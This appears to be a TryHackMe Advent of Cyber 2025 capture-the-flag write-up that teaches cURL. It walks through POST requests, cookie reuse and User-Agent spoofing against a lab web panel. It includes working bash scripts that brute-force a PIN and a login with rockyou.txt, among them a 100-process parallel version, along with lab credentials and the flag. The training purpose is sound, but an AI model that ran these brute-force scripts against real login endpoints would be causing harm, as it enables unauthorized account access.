CHALLENGE INFORMATION
![]() | Platform: TryHackMe Event: Advent of Cyber 2025 Day: 24 Title: Exploitation with cURL - Hoperation Eggsploit Bonus: Final Mission |
Description
The evil Easter bunnies operate a web control panel that holds the wormhole open. Using cURL, identify the endpoints, send the required requests, and shut the wormhole once and for all.
Summary
We master cURL fundamentals – sending HTTP requests, managing POST data and cookies – through four initial exercises covering credentials, session persistence, brute-forcing, and user-agent bypasses.
For the bonus challenge, we enumerate five key endpoints (info, login, pin, status, close) using a custom User-Agent header, then execute a five-step attack: (1) brute-force the PIN via Bash loop, (2) verify it by extracting the operator_token from the status endpoint, confirming the username is admin, (3) attempt credential brute-forcing but recognize the 30+ hour computational cost makes this impractical for a CTF, (4) verify login and save the session cookie, and (5) close the wormhole by sending the session cookie, operator_token, and X-Force: close header.

Storyline
The blue team must shut down a wormhole control panel on the Evil Bunnies’ web server using command-line tools and cURL to send HTTP requests and find the endpoints needed to close the portal before facing King Malhare.
Theory
cURL Basics
HTTP is the protocol browsers use to request resources from servers. cURL is a command-line tool that lets you send HTTP requests directly from the terminal, making it ideal for precise control when GUI tools are unavailable.
Sending an HTTP Request
user@kali:~$ curl http://10.114.176.251 -v
* Trying 10.114.176.251:80...
* Established connection to 10.114.176.251 (10.114.176.251 port 80) from 192.168.171.248 port 34310
* using HTTP/1.x
> GET / HTTP/1.1
> Host: 10.114.176.251
> User-Agent: curl/8.19.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: ...
< Server: Apache/2.4.52 (Ubuntu)
< Vary: Accept-Encoding
< Content-Length: 77
< Content-Type: text/html; charset=UTF-8
<
Welcome to the cURL practice server!
Try sending a POST request to /post.php
* Connection #0 to host 10.114.176.251:80 left intact
user@kali:~$Sending a POST Request
- The data is sent in URL-encoded format.
- Add additional fields if necessary:
-d "username=user&password=user&submit=Login"
user@kali:~$ curl -X POST -d "username=user&password=user" http://10.114.176.251/post.php -v
...
> POST /post.php HTTP/1.1
> Host: 10.114.176.251
> User-Agent: curl/8.19.0
> Accept: */*
> Content-Length: 27
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 27 bytes
< HTTP/1.1 200 OK
< Date: ...
< Server: Apache/2.4.52 (Ubuntu)
< Content-Length: 21
< Content-Type: text/html; charset=UTF-8
<
Invalid credentials.
...
user@kali:~$Saving Cookies and Working with Sessions
- Web applications use cookies to keep your session active once you log in.
- Browsers send them automatically with every request; you need to manually include them with cURL.
Saving the Cookies
user@kali:~$ curl -c cookies.txt -d "username=admin&password=admin" http://10.114.176.251/session.php -v
...
> POST /session.php HTTP/1.1
> Host: 10.114.176.251
> User-Agent: curl/8.19.0
> Accept: */*
> Content-Length: 29
> Content-Type: application/x-www-form-urlencoded
>
...
< HTTP/1.1 200 OK
< Date: ...
< Server: Apache/2.4.52 (Ubuntu)
* Added cookie PHPSESSID="k3pud8mcnqllu9816s2ba8kp22" for domain 10.114.176.251, path /, expire 0
< Set-Cookie: PHPSESSID=k3pud8mcnqllu9816s2ba8kp22; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Content-Length: 21
< Content-Type: text/html; charset=UTF-8
<
Invalid credentials.
...
user@kali:~$ cat cookies.txt
# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.
10.114.176.251 FALSE / FALSE 0 PHPSESSID k3pud8mcnqllu9816s2ba8kp22
user@kali:~$Reusing Saved Cookies
user@kali:~$ curl -b cookies.txt http://10.114.176.251/session.php -v
...
> GET /session.php HTTP/1.1
> Host: 10.114.176.251
> User-Agent: curl/8.19.0
> Accept: */*
> Cookie: PHPSESSID=k3pud8mcnqllu9816s2ba8kp22
>
...
< HTTP/1.1 200 OK
< Date: ...
< Server: Apache/2.4.52 (Ubuntu)
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Content-Length: 45
< Content-Type: text/html; charset=UTF-8
<
Please log in first by POSTing to this page.
...
user@kali:~$Automating Login Brute-Forcing
Creating a Wordlist for Potential Passwords
user@kali:~$ nano passwords.txt
user@kali:~$ cat passwords.txt
admin123
password
letmein
secretpass
secret
...
user@kali:~$Creating a Brute-Forcing Bash Script
# ~loop.sh
for pass in $(cat passwords.txt); do
echo "Trying password: $pass"
response=$(curl -s -X POST -d "username=admin&password=$pass" http://10.114.176.251/bruteforce.php)
if echo "$response" | grep -q "Welcome"; then
echo "[+] Password found: $pass"
break
fi
done
Adding Execute Permission to the Script
user@kali:~$ chmod +x loop.sh
user@kali:~$ ls -hla loop.sh
-rwxrwxr-x 1 user user ... loop.sh
user@kali:~$Running the Brute-Force Simulation
user@kali:~$ ./loop.sh
Trying password: admin123
Trying password: password
Trying password: letmein
Trying password: secretpass
[+] Password found: secretpass
user@kali:~$Bypassing User-Agent Checks
Specifying a Custom User-Agent
user@kali:~$ curl -A "internalcomputer" http://10.114.176.251/ua_check.php -v
...
> GET /ua_check.php HTTP/1.1
> Host: 10.114.176.251
> User-Agent: internalcomputer
> Accept: */*
>
...
< HTTP/1.1 200 OK
< Date: ...
< Server: Apache/2.4.52 (Ubuntu)
< Content-Length: 27
< Content-Type: text/html; charset=UTF-8
<
Welcome Internal Computer!
...
user@kali:~$Questions and Answers
Question-1: Make a POST request to the /post.php endpoint with the username admin and the password admin. What is the flag you receive?
<redacted-flag>
user@kali:~$ curl -X POST -d "username=admin&password=admin" http://10.114.176.251/post.php -v
...
> POST /post.php HTTP/1.1
...
> Content-Type: application/x-www-form-urlencoded
...
< HTTP/1.1 200 OK
...
Login successful!
Flag: <redacted-flag>
...
user@kali:~$Question-2: Make a request to the /cookie.php endpoint with the username admin and the password admin and save the cookie. Reuse that saved cookie at the same endpoint. What is the flag you receive?
<redacted-flag>
Let’s first create the request and save the cookies in cookie.txt:
user@kali:~$ curl -c cookies.txt -d "username=admin&password=admin" http://10.114.176.251/cookie.php -v
...
> POST /cookie.php HTTP/1.1
...
> Content-Length: 29
> Content-Type: application/x-www-form-urlencoded
...
< HTTP/1.1 200 OK
...
* Added cookie PHPSESSID="bog61mbo4qd98lpcu3co3jclfi" for domain 10.114.176.251, path /, expire 0
< Set-Cookie: PHPSESSID=bog61mbo4qd98lpcu3co3jclfi; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
...
Login successful. Cookie set.
...
user@kali:~$Next, we check and verify the saved cookies:
user@kali:~$ cat cookies.txt
# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.
10.114.176.251 FALSE / FALSE 0 PHPSESSID bog61mbo4qd98lpcu3co3jclfi
user@kali:~$Lastly, we reuse the saved cookies:
user@kali:~$ curl -b cookies.txt http://10.114.176.251/cookie.php -v
...
> GET /cookie.php HTTP/1.1
...
> Cookie: PHPSESSID=bog61mbo4qd98lpcu3co3jclfi
...
< HTTP/1.1 200 OK
...
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
...
Welcome back, admin!
Flag: <redacted-flag>
...
user@kali:~$Question-3: After doing the brute force on the /bruteforce.php endpoint, what is the password of the admin user?
secretpass
Let’s re-run the login brute-forcing script:
user@kali:~$ ./loop.sh
Trying password: admin123
Trying password: password
Trying password: letmein
Trying password: secretpass
[+] Password found: secretpass
user@kali:~$Question-4: Make a request to the /agent.php endpoint with the user-agent TBFC. What is the flag you receive?
<redacted-flag>
user@kali:~$ curl -A "TBFC" http://10.114.176.251/agent.php -v
...
> GET /agent.php HTTP/1.1
...
> User-Agent: TBFC
...
< HTTP/1.1 200 OK
...
Flag: <redacted-flag>
...
user@kali:~$Bonus - Final Mission
Bonus-Question: Can you solve the Final Mission and get the flag?
No answer needed
Notes
- Use
rockyou.txtfor brute-forcing the password. - PIN is between 4000 and 5000.
- Server:
http://10.113.183.49/terminal.php?action=panel
Reconnaissance and Enumeration
Let’s start with a simple GET request:
user@kali:~$ curl http://10.113.183.49/terminal.php?action=panel -v
...
> GET /terminal.php?action=panel HTTP/1.1
...
< HTTP/1.1 200 OK
...
< Set-Cookie: PHPSESSID=6sioacnfvbpjll51ihct5jf410; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Vary: Accept-Encoding
...
<h2>Access denied</h2><p>This admin panel is terminal-only and is only accessible using secretcomputer</p>
user@kali:~$The reply nudges us to use a custom User-Agent named secretcomputer, so let’s modify our request accordingly:
user@kali:~$ curl -A secretcomputer http://10.113.183.49/terminal.php?action=panel -v
...
> GET /terminal.php?action=panel HTTP/1.1
...
> User-Agent: secretcomputer
...
< HTTP/1.1 200 OK
...
< Set-Cookie: PHPSESSID=ugmh9g48hh14mel4fbo68el5l6; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
...
"service": "Wormhole Control Panel",
"endpoints": {
"\/terminal.php?action=info": "Public info",
"\/terminal.php?action=login": "POST: username,password",
"\/terminal.php?action=pin": "POST: attempt PIN to get temporary admin token",
"\/terminal.php?action=status": "GET: wormhole status",
"\/terminal.php?action=close": "POST: close wormhole"
},
"note": "This panel only answers to terminal user agents. Use the endpoints to fully close the wormhole."
...
user@kali:~$Now we have some endpoints we can enumerate:
user@kali:~$ curl -A secretcomputer http://10.113.183.49/terminal.php?action={info,login,pin,status,close} -v
...
> GET /terminal.php?action=info HTTP/1.1
...
< HTTP/1.1 200 OK
...
"title": "Bunny Control Panel",
"desc": "The rabbits hide the wormhole state and protect closure behind both a session and a token. You will need to authenticate and obtain the operator token."
...
> GET /terminal.php?action=login HTTP/1.1
...
< HTTP/1.1 400 Bad Request
...
"error": "POST username & password required."
...
> GET /terminal.php?action=pin HTTP/1.1
...
< HTTP/1.1 400 Bad Request
...
"error": "POST pin required. ex: curl -X POST -d \"pin=1234\" ..."
...
> GET /terminal.php?action=status HTTP/1.1
...
< HTTP/1.1 200 OK
...
"wormhole": "OPEN",
"note": "Admin information hidden. Authenticate and obtain operator token."
...
> GET /terminal.php?action=close HTTP/1.1
...
< HTTP/1.1 400 Bad Request
...
"error": "POST required to close wormhole."
...
user@kali:~$To summarize, we have:
/terminal.php?action=info: Bunny Control Panel
- “The rabbits hide the wormhole state and protect closure behind both a session and a token. You will need to authenticate and obtain the operator token.”
/terminal.php?action=login: Error
- “POST username & password required.”
/terminal.php?action=pin: Error
- “POST pin required. ex: curl -X POST -d "pin=1234" …”
/terminal.php?action=status: Wormhole: “OPEN”
- “note”: “Admin information hidden. Authenticate and obtain operator token.”
/terminal.php?action=close: Error
- “POST required to close wormhole.”
Given the information we receive from the ?action=info endpoint, the plan is to:
- Step 1: Brute-force the PIN at the
?action=pinendpoint. - Step 2: Verify the PIN, save the token (after successfully brute-forcing the PIN), and reuse it for following requests.
- Step 3: Brute-force the login – authenticate at the
?action=loginendpoint. - Step 4: Verify the cookie and obtain the session cookie with a successful login. Then save the cookie and reuse it for following requests.
- Step 5: Close the wormhole by sending both the correct cookie and the token.
Brute-Forcing the PIN
Let’s start with a sample POST request:
user@kali:~$ curl -A secretcomputer -X POST -d "pin=1234" http://10.113.183.49/terminal.php?action=pin -v
...
"status": "fail",
"msg": "Incorrect PIN",
"attempts": null
...
user@kali:~$Let’s use the sample request as the base and the previously introduced loop.sh as the template to create a PIN brute-forcing script:
# ~brute-pin.sh
for pin in {4000..5000}; do
# echo "Trying PIN: $pin"
response=$(curl -s -A secretcomputer -X POST -d "pin=$pin" http://10.113.183.49/terminal.php?action=pin)
if echo "$response" | grep -q '"status": "fail"'; then
continue
else
echo "Pin Found: $pin"
break
fi
done
Save the script as brute-pin.sh, make it executable with chmod +x brute-pin.sh, and finally run it:
user@kali:~$ chmod +x brute-pin.sh
user@kali:~$ ./brute-pin.sh
Pin Found: 4731
user@kali:~$Verifying the PIN
We have a valid PIN. Let’s see what the response is for the correct PIN:
user@kali:~$ curl -A secretcomputer -X POST -d "pin=4731" http://10.113.183.49/terminal.php?action=pin -v
...
"status": "ok",
"operator_token": "23f304d174480ffe638f5347911047494e067f056f60c2fe2e2931a5515ee848",
"note": "This token is valid for the day. Use it as Bearer or X-Operator header."
...
user@kali:~$Let’s note the operation_token and verify its validity by crafting a request to the ?action=status endpoint and including it with:
-H "X-Operator: 23f304d174480ffe638f5347911047494e067f056f60c2fe2e2931a5515ee848"
Let’s send the request:
user@kali:~$ curl -A secretcomputer -H "X-Operator: 23f304d174480ffe638f5347911047494e067f056f60c2fe2e2931a5515ee848" http://10.113.183.49/terminal.php?action=status -v
...
> GET /terminal.php?action=status HTTP/1.1
...
> X-Operator: 23f304d174480ffe638f5347911047494e067f056f60c2fe2e2931a5515ee848
...
< HTTP/1.1 200 OK
...
"wormhole": "OPEN",
"reinforcements": "ENABLED",
"last_update": "...",
"is_admin": "true",
"operator_token_valid": true
...
user@kali:~$The token appears to be valid, given the response. Also, let’s check the differences between the original response,
“wormhole”: “OPEN”,
“note”: “Admin information hidden. Authenticate and obtain operator token."
…
and the new response (where the valid operation token is included):
“wormhole”: “OPEN”,
“reinforcements”: “ENABLED”,
“last_update”: “…”,
“is_admin”: “true”,
“operator_token_valid”: true
…
With this, we not only verify the token validity but we can also use the field "is_admin": "true" to infer the username (admin) for the login at the ?action=login endpoint.
Brute-Forcing the Login
First, let’s prepare the wordlist – rockyou.txt – copy it to our current working directory, and extract it:
user@kali:~$ sudo cp /usr/share/wordlists/rockyou.txt.gz .
user@kali:~$ gunzip rockyou.txt.gz
user@kali:~$ ls -hla
...
-rwxrwxr-x 1 user user 287 ... brute-pin.sh
-rw-r--r-- 1 user user 134M ... rockyou.txt
user@kali:~$Next, verify everything works as intended:
user@kali:~$ head -n 10 rockyou.txt
123456
12345
123456789
password
iloveyou
princess
1234567
rockyou
12345678
abc123
user@kali:~$Moving on, let’s create a sample POST request to the specified endpoint, ?action=login, with the inferred username (admin), and see how it behaves:
user@kali:~$ curl -A secretcomputer -X POST "username=admin&password=admin" http://10.113.183.49/terminal.php?action=login -v
...
> POST /terminal.php?action=login HTTP/1.1
...
< HTTP/1.1 200 OK
...
"status": "fail",
"msg": "Invalid credentials."
...
user@kali:~$Using this sample, let’s prepare a brute-forcing script using the previously prepared loop.sh script as the template.
Our goal is to automatically cycle through the passwords in the rockyou.txt wordlist:
# ~brute-login.sh
for pass in $(cat rockyou.txt); do
response=$(curl -s -A secretcomputer -X POST -d "username=admin&password=$pass" http://10.113.183.49/terminal.php?action=login)
if echo "$response" | grep -q '"status": "fail"'; then
continue
else
echo "$response"
break
fi
done
Complexity Issue
We face an issue here. The only hints regarding brute-forcing the ?action=login endpoint are:
- Username is probably admin, given the hint from the
?action=statusendpoint:"is_admin": "true" - Password is probably inside the
rockyou.txtwordlist
Herein lies the issue: the password wordlist has over 14 million (14,344,392) entries:
user@kali:~$ wc -l rockyou.txt
14344392 rockyou.txt
user@kali:~$If we attempt to try each one of them at, say, 3 attempts per second – like with the previous script brute-login.sh – we arrive at:
We can use Python to do the exact calculations:
user@kali:~$ python -c "print(14344392/3/60/60/24)"
55.34101851851852
user@kali:~$Running our script for 55 days straight is simply not feasible. Can we do better? Let’s try to parallelize (make it concurrent) so that multiple threads or processes make the attempt at the same time.
Here is an attempt running it on 20 processes:
# ~brute-login_parallel.sh
#!/bin/bash
cat rockyou.txt | xargs -P 20 -I {} bash -c '
pass="{}"
response=$(curl -s -A secretcomputer -X POST -d "username=admin&password=$pass" http://10.113.183.49/terminal.php?action=login)
if ! echo "$response" | grep -q "\"status\": \"fail\""; then
echo "$response"
break
fi'
But how much faster are we really? Let’s do a little benchmarking.
The idea is to measure how fast we can make the first 1,000 attempts and from there calculate how many attempts we can make in one second:
# ~benchmark_brute-login_parallel.sh
#!/bin/bash
start_time=$(date +%s%N)
head -n 1000 rockyou.txt | xargs -P 100 -I {} bash -c '
pass="{}"
response=$(curl -s -A secretcomputer -X POST -d "username=admin&password=$pass" http://10.113.183.49/terminal.php?action=login)
if ! echo "$response" | grep -q "\"status\": \"fail\""; then
echo "$response"
break
fi
echo "42" >> /tmp/attempt_counter.txt'
end_time=$(date +%s%N)
total_attempts=$(wc -l < /tmp/attempt_counter.txt)
elapsed_seconds=$(echo "scale=3; ($end_time - $start_time) / 1000000000" | bc)
attempts_per_second=$(echo "scale=2; $total_attempts / $elapsed_seconds" | bc)
echo "Total attempts: $total_attempts"
echo "Elapsed time: $elapsed_seconds seconds"
echo "Attempts per second: $attempts_per_second"
rm /tmp/attempt_counter.txt
Let’s save it, make it executable, and finally run it:
user@kali:~$ chmod +x benchmark_brute-login_parallel.sh
user@kali:~$ ./benchmark_brute-login_parallel.sh
Total attempts: 1000
Elapsed time: 34.189 seconds
Attempts per second: 29.24
user@kali:~$Around 30 attempts per second. That’s still over 5 days. Let’s try with 100 processes:
user@kali:~$ ./benchmark_brute-login_parallel.sh
Total attempts: 1000
Elapsed time: 7.496 seconds
Attempts per second: 133.40
user@kali:~$Over 130 attempts per second. Let’s calculate it:
user@kali:~$ python -c "print(14344392/130/60/60)"
30.650410256410257
user@kali:~$That’s still over 30 hours. That’s just not feasible for a CTF.
Since we already tried the first 100 entries in the wordlist, then the first 1,000, and then finally the first 10,000 entries in rockyou with these scripts, we will have to give up here and search for the solution.
All of the solutions we found were using different fuzzing tools, but none used cURL – in a room dedicated to cURL. Well, stranger things have happened.
Let’s move on and assume that we brute-forced the password, which is: stellaris61.
Verifying the Login
Let’s verify the found password:
user@kali:~$ curl -A secretcomputer -X POST -d "username=admin&password=stellaris61" http://10.113.183.49/terminal.php?action=login -v
...
> POST /terminal.php?action=login HTTP/1.1
...
< HTTP/1.1 200 OK
...
< Set-Cookie: PHPSESSID=k1q13liujlsovintrio8mvf79o; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
...
"status": "login_success",
"msg": "Session cookie set. You still need the operator token to close the wormhole."
...
user@kali:~$It works; we are authenticated and provided with a cookie to keep track of our session. Let’s save the cookies into login-cookies.txt:
user@kali:~$ curl -c login-cookies.txt -A secretcomputer -X POST -d "username=admin&password=stellaris61" http://10.113.183.49/terminal.php?action=login -v
...
> POST /terminal.php?action=login HTTP/1.1
...
< HTTP/1.1 200 OK
...
* Added cookie PHPSESSID="pvhfmc08901t7p82ekl2jksuf3" for domain 10.113.183.49, path /, expire 0
< Set-Cookie: PHPSESSID=pvhfmc08901t7p82ekl2jksuf3; path=/
...
"status": "login_success",
"msg": "Session cookie set. You still need the operator token to close the wormhole."
...
user@kali:~$ cat login-cookies.txt
# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.
10.113.183.49 FALSE / FALSE 0 PHPSESSID pvhfmc08901t7p82ekl2jksuf3
user@kali:~$Closing the Wormhole
With all the pieces in hand, it’s finally time to close the wormhole. Let’s check if everything is in order by checking the ?action=status endpoint with all the collected credentials:
user@kali:~$ curl -b login-cookies.txt -H "X-Operator: 23f304d174480ffe638f5347911047494e067f056f60c2fe2e2931a5515ee848" -A secretcomputer http://10.113.183.49/terminal.php?action=status -v
...
> GET /terminal.php?action=status HTTP/1.1
> Host: 10.113.183.49
> User-Agent: secretcomputer
> Accept: */*
> Cookie: PHPSESSID=pvhfmc08901t7p82ekl2jksuf3
> X-Operator: 23f304d174480ffe638f5347911047494e067f056f60c2fe2e2931a5515ee848
...
< HTTP/1.1 200 OK
...
"wormhole": "OPEN",
"reinforcements": "ENABLED",
"last_update": "...",
"is_admin": "true",
"operator_token_valid": true
...
user@kali:~$Everything seems ready. Let’s try to close it:
user@kali:~$ curl -X POST -b login-cookies.txt -H "X-Operator: 23f304d174480ffe638f5347911047494e067f056f60c2fe2e2931a5515ee848" -A secretcomputer http://10.113.183.49/terminal.php?action=close -v
...
> POST /terminal.php?action=close HTTP/1.1
...
< HTTP/1.1 403 Forbidden
...
"status": "denied",
"msg": "Missing admin session, operator token, or X-Force header. All three required."
...
user@kali:~$We are denied, but the message mentions an X-Force header besides the admin session and the operator token. Let’s try to add one:
user@kali:~$ curl -X POST -b login-cookies.txt -H "X-Operator: 23f304d174480ffe638f5347911047494e067f056f60c2fe2e2931a5515ee848" -H "X-Force: dummy-data" -A secretcomputer http://10.113.183.49/terminal.php?action=close -v
...
> POST /terminal.php?action=close HTTP/1.1
...
< HTTP/1.1 403 Forbidden
...
"status": "denied",
"msg": "Missing admin session, operator token, or X-Force header. All three required."
...
user@kali:~$No success with the sample data. Let’s try close, as in closing the gate with X-Force: close:
user@kali:~$ curl -X POST -b login-cookies.txt -H "X-Operator: 23f304d174480ffe638f5347911047494e067f056f60c2fe2e2931a5515ee848" -H "X-Force: close" -A secretcomputer http://10.113.183.49/terminal.php?action=close -v
...
> POST /terminal.php?action=close HTTP/1.1
> Host: 10.113.183.49
> User-Agent: secretcomputer
> Accept: */*
> Cookie: PHPSESSID=pvhfmc08901t7p82ekl2jksuf3
> X-Operator: 23f304d174480ffe638f5347911047494e067f056f60c2fe2e2931a5515ee848
> X-Force: close
...
< HTTP/1.1 200 OK
...
"status": "wormhole_closed",
"flag": "THM{wormhole_closed_by_curl}",
"msg": "You closed the wormhole. Reinforcements halted."
...
user@kali:~$It worked, and now the wormhole is closed! There is no reason to redact the flag here, given that it is not used anywhere.
Story Conclusion
McSkidy leads Wareville’s townspeople in a final assault against King Malhare after his reinforcements are cut off. Sir Breachblocker III helps her reach the throne room by confronting Sir Carrotbane.
McSkidy defeats the king by trapping him in a cage, ending his tyranny. King Malhare and Sir Carrotbane are imprisoned, while Sir Breachblocker III is pardoned and becomes the new king.
